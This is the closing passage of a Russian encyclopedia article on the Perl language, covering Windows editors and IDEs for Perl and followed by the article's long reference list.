Определённой популярностью среди пользователей Windows пользуется также Perl Editor, входящий в линейку специализированных shareware редакторов для программистов от DzSoft[58][59][60]. Был достаточно известен бесплатный редактор Mastak Absolute Perl[61], но его разработка и поддержка прекращены, последняя версия датируется 29 сентября 2003 года[62]. Ещё один отечественный бесплатный perl-редактор для Windows — это Perl Express (последняя версия с русским интерфейсом — 2.4.5 от 2 декабря 2005, с английским — 2.5 от 23 декабря 2005)[63]. Среди других сред разработки, специализированных для Perl следует отметить shareware IDE PerlBuilder[64][65][66] и отечественный редактор Collie Perl Shell 2.0[65][67].

См. также

Примечания

  1. 1 2 3 http://learn.perl.org/faq/perlfaq1.html
  2. 1 2 http://www.perlfoundation.org/
  3. Knop G. perl v5.40.0 is now available — 2024.
  4. https://metacpan.org/pod/perlhist
  5. The perl Open Source Project on Open Hub: Licenses Page — 2006.
  6. http://dev.perl.org/licenses/
  7. https://history.perl.org/PerlTimeline.html
  8. 1 2 3 4 5 6 https://www.perl.org/get.html
  9. 1 2 Perl documentation (англ.). Дата обращения: 18 декабря 2016. Архивировано 20 января 2011 года.
  10. What's the difference between "perl" and "Perl"? (англ.). Дата обращения: 18 декабря 2016. Архивировано 12 июля 2012 года.
  11. perlintro(1) man page
  12. Usenet post, May 10, 1997, with ID 199705101952.MAA00756@wall.org
  13. Larry Wall. Дата обращения: 20 августа 2006. Архивировано 12 марта 2006 года.
  14. Perl, a «replacement» for awk and sed. Дата обращения: 18 декабря 2007.
  15. Архив списка рассылки perl5-porters. Дата обращения: 24 августа 2010. Архивировано 1 мая 2011 года.
  16. [История языка Perl на сайте perldoc.perl.org (англ.). Дата обращения: 24 августа 2010. Архивировано 13 января 2011 года. История языка Perl на сайте perldoc.perl.org (англ.)]
  17. CPAN - Comprehensive Perl Archive Network. Дата обращения: 13 июля 2021. Архивировано 3 октября 2019 года.
  18. perl.org CPAN page. Дата обращения: 1 ноября 2010. Архивировано 27 мая 2012 года.
  19. perl56delta — perldoc.perl.org. Дата обращения: 1 ноября 2010. Архивировано 2 февраля 2011 года.
  20. perl561delta — perldoc.perl.org. Дата обращения: 1 ноября 2010. Архивировано 18 ноября 2010 года.
  21. [1]Архивная копия от 23 ноября 2010 на Wayback MachineАрхивная копия от 23 ноября 2010 на Wayback MachineApocalypse 1: The Ugly, the Bad, and the Good — dev.perl.org (англ.)
  22. perl58delta — perldoc.perl.org. Дата обращения: 1 ноября 2010. Архивировано 21 ноября 2010 года.
  23. HaskellWiki. Дата обращения: 1 ноября 2010. Архивировано 11 октября 2006 года.
  24. perldelta: what is new for perl 5.10.0 Архивировано 30 марта 2009 года.
  25. Smart matching in detail Архивировано 18 февраля 2010 года.
  26. perl5120delta — search.cpan.org. Дата обращения: 1 ноября 2010. Архивировано 29 ноября 2010 года.
  27. perl5122delta — search.cpan.org. Дата обращения: 1 ноября 2010. Архивировано 30 ноября 2010 года.
  28. perldelta - what is new for perl v5.12.3 (англ.). Perl 5 version 12.2 documentation. perldoc.perl.org. Дата обращения: 18 декабря 2013. Архивировано 8 июня 2011 года.
  29. 1 2 perldelta - what is new for perl v5.16.0 (англ.). Perl 5 version 16.0 documentation. metacpan.org. Дата обращения: 21 мая 2012. Архивировано из оригинала 28 июля 2020 года.
  30. perl5180delta - what is new for perl v5.18.0 - metacpan.org - Perl programming language. Perl 5 version 18.0 documentation. metacpan.org. Дата обращения: 27 октября 2013. Архивировано 29 октября 2013 года.
  31. Perl 5.20 released (англ.) (27 мая 2014). Дата обращения: 18 декабря 2016. Архивировано из оригинала 27 октября 2016 года.
  32. Perl 5.22 a preview (англ.) (16 апреля 2015). Дата обращения: 18 декабря 2016. Архивировано из оригинала 15 ноября 2016 года.
  33. .Perl 5.24 released (англ.) (9 мая 2016). Дата обращения: 18 декабря 2016. Архивировано из оригинала 24 ноября 2016 года.
  34. Perl 5.26 released (англ.) (30 мая 2017). Дата обращения: 6 июня 2017. Архивировано 3 июня 2017 года.
  35. Perl 5.28.0 released (14 июля 2021). Дата обращения: 14 июля 2021. Архивировано 14 июля 2021 года.
  36. Script Runs (16 июля 2021). Дата обращения: 14 июля 2021. Архивировано 14 июля 2021 года.
  37. Perl 5.32.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 13 июля 2021 года.
  38. The Perl Conference in the Cloud (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 10 мая 2021 года.
  39. Announcing Perl 7 (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 24 июня 2020 года.
  40. Announce Perl 5.34.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 4 июня 2021 года.
  41. Perl 5.34.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 21 июня 2021 года.
  42. Milestones in the Perl Renaissance — Modern Perl Programming Архивная копия от 27 октября 2012 на Wayback Machine. Modernperlbooks.com. Retrieved on 2013-07-17.
  43. Вячеслав Тихановский. Возрождение Perl // Pragmatic Perl. — Март 2013. — Вып. 1. Архивировано 27 сентября 2020 года.
  44. Preface (Modern Perl 2011—2012) Архивная копия от 28 сентября 2012 на Wayback Machine. Modernperlbooks.com. Retrieved on 2013-07-17.
  45. YAPC::NA 2013 — June 3-5, Austin, Texas. Дата обращения: 18 декабря 2013. Архивировано из оригинала 22 июня 2013 года.
  46. [2]Архивная копия от 19 декабря 2013 на Wayback MachineWhat is Moe (a clarification) | Stevan Little [blogs.perl.org&#;
  47. p2 on potion. Дата обращения: 18 декабря 2013. Архивировано 24 сентября 2013 года.
  48. goccy/gperl · GitHub. Дата обращения: 18 декабря 2013. Архивировано 23 февраля 2015 года.
  49. Tom Christiansen, Larry Wall, Brian Foy and Jon Orwant. Ch. 12. Objects. -> The Moose in the Room // Programming Perl: Unmatched Power for Text Processing and Scripting. — O’Reilly, 2012. — P. 453—455. — 1130 p. — ISBN 0596004923, 9780596004927.
  50. moose — A Postmodern Object System for Perl. Дата обращения: 15 ноября 2011. Архивировано 23 ноября 2011 года.
  51. программа из одной строчки на Perl. Дата обращения: 22 апреля 2012. Архивировано 9 мая 2012 года.
  52. perlfaq3 — perldoc.perl.org. Дата обращения: 19 мая 2010. Архивировано 25 мая 2010 года.
  53. 1 2 3 4 5 6 7 Sébastien Aperghis-Tramoni, Damien Krotkine, Philippe Bruhat, Jérôme Quelin. Ch.1 Démarrer avec Perl ⟶ Édites les programmers // Perl moderne. — Pearson Education France, 29 окт. 2010 г.. — С. 4—5. — 446 p. — (Le Guide de survie). — ISBN 9782744024191.
  54. Andy Lester, Richard Foley. Ch. 14. Command LineDebuggers and GUI Debuggers ⟶ ActivePerl Pro Studio // Pro Perl Debugging. — Apress, 27 июля 2005 г. — С. 233. — 296 p. — ISBN 9781430200444.
  55. EPIC — Perl Editor and IDE for Eclipse. Дата обращения: 16 мая 2022. Архивировано 8 мая 2022 года.
  56. brian d foy. Ch 4. Debugging Perl ⟶ Other Debuggers // Mastering Perl. — O’Reilly, 16 июля 2007 г. — P. 64. — 346 p. — ISBN 9780596551476.
  57. 1 2 3 Keith Bradnam, Ian Korf. 2.3 Installing a code editor // UNIX and Perl to the Rescue!: A Field Guide for the Life Sciences (and Other Data-rich Pursuits). — Cambridge University Press,, 19 июля 2012 г. — P. 15. — 428 p. — ISBN 9781107000681.
  58. R. Chris Fraley. Ch. 15. Wrapping it Up // How to Conduct Behavioral Research Over the Internet: A Beginner's Guide to HTML and CGI/Perl. — Guilford Press, 2004. — P. 272. — 299 p. — ISBN 978-1-57230-997-5.
  59. John P. Flynt. Ch 1. Getting Started // Perl Power!: The Comprehensive Guide. — Thomson Course Technology PTR, 2006. — С. 22—24. — 427 p. — ISBN 9781598631616.
  60. DzSoft Perl Editor. Дата обращения: 8 января 2014. Архивировано 8 января 2014 года.
  61. "«Мастак.Ру» представил комплексный инструментарий для Perl-разработчиков". CNews. 2002-04-24. Архивировано 9 января 2014. Дата обращения: 9 января 2014.
  62. Mastak Absolute Perl Архивная копия от 9 января 2014 на Wayback Machine на SoftPortal
  63. Perl Express Архивная копия от 23 октября 2013 на Wayback Machine — бесплатный Perl-редактор для Windows
  64. Andy Lester, Richard Foley. Ch. 14. Command LineDebuggers and GUI Debuggers ⟶ Perl Builder // Pro Perl Debugging. — Apress, 27 июля 2005 г. — С. 234—235. — 296 p. — ISBN 9781430200444.
  65. 1 2 p4in. Софт для perl-разработчика // Спецвыпуск Xakep. — № 15. Архивировано 26 апреля 2014 года.
  66. Perl Builder 2.0 Архивировано 13 февраля 2014 года.
  67. Collie Perl Shell 2.0 Архивировано 9 января 2014 года.

Литература

Ссылки